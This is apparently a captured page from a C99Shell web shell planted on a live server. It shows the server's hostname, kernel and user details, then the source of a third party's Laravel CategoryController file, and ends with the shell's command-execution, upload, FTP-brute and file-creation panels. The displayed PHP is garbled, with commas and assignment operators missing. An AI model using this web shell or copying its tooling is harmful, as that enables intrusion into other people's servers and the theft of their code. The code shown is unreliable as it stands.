!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/User/   drwxr-xr-x
Free 26.86 GB of 117.98 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CategoryController.php (3.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package CategoryController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 29-01-2022
 */
namespace App\Http\Controllers\Api\User;

use 
App\Http\Controllers\Controller;
use 
App\Http\Resources\{CategoryDetailResourceCategoryResource};
use 
App\Models\{
    
Category,
};
use 
Illuminate\Database\Eloquent\Builder;
use 
Illuminate\Http\Request;

class 
CategoryController extends Controller
{
    
/**
     * Category list
     * @param Request $request
     * @return json $data
     */
    
public function index(Request $request$param null)
    {
        
$configs $this->initialize([], $request->all());
        if (
$param == 'top') {
            
$category Category::whereHas('products', function(Builder $query) {
                
$query->whereNotNull('total_sales');
            })->
withSum('products''total_sales')->orderByDesc('products_sum_total_sales');
        } else {
            
$category Category::select('*');
        }

        
$name = isset($request->name) ? $request->name null;
        if (!empty(
$name)) {
            
$category->where('name'strtolower($name));
        }

        
$slug = isset($request->slug) ? $request->slug null;
        if (!empty(
$slug)) {
            
$category->where('slug'strtolower($slug));
        }

        
$status = isset($request->status) ? $request->status null;
        if (!empty(
$status)) {
            
$category->where('status'strtolower($status));
        }

        
$keyword = isset($request->keyword) ? $request->keyword null;
        if (!empty(
$keyword)) {
            if (
is_int($keyword)) {
                
$category->where('id'$keyword);
            } else if (
strlen($keyword) >= 2) {
                
$category->where(function ($query) use ($keyword) {
                    
$query->where('name''LIKE'"%" $keyword "%")
                        ->
orwhere('slug''LIKE'"%" $keyword "%");
                });
            }
        }
        return 
$this->response([
            
'data' => CategoryResource::collection($category->paginate($configs['rows_per_page'])),
            
'pagination' => $this->toArray($category->paginate($configs['rows_per_page'])->appends($request->all()))
        ]);
    }

    
/**
     * Detail Category
     * @param Request $request
     * @return json $data
     */
    
public function subCategory(Request $request$parentId)
    {
        
$configs $this->initialize([], $request->all());
        
$response $this->checkExistence($parentId'categories');
        if (
$response['status']) {
            
$category Category::select('*')->where('parent_id'$parentId);
            
$name = isset($request->name) ? $request->name null;
            if (!empty(
$name)) {
                
$category->where('name'strtolower($name));
            }

            
$slug = isset($request->slug) ? $request->slug null;
            if (!empty(
$slug)) {
                
$category->where('slug'strtolower($slug));
            }

            
$status = isset($request->status) ? $request->status null;
            if (!empty(
$status)) {
                
$category->where('status'strtolower($status));
            }

            
$keyword = isset($request->keyword) ? $request->keyword null;
            if (!empty(
$keyword)) {
                if (
is_int($keyword)) {
                    
$category->where('id'$keyword);
                } else if (
strlen($keyword) >= 2) {
                    
$category->where(function ($query) use ($keyword) {
                        
$query->where('name''LIKE'"%" $keyword "%")
                            ->
orwhere('slug''LIKE'"%" $keyword "%");
                    });
                }
            }
            return 
$this->response([
                
'data' => CategoryDetailResource::collection($category->get()),
            ]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--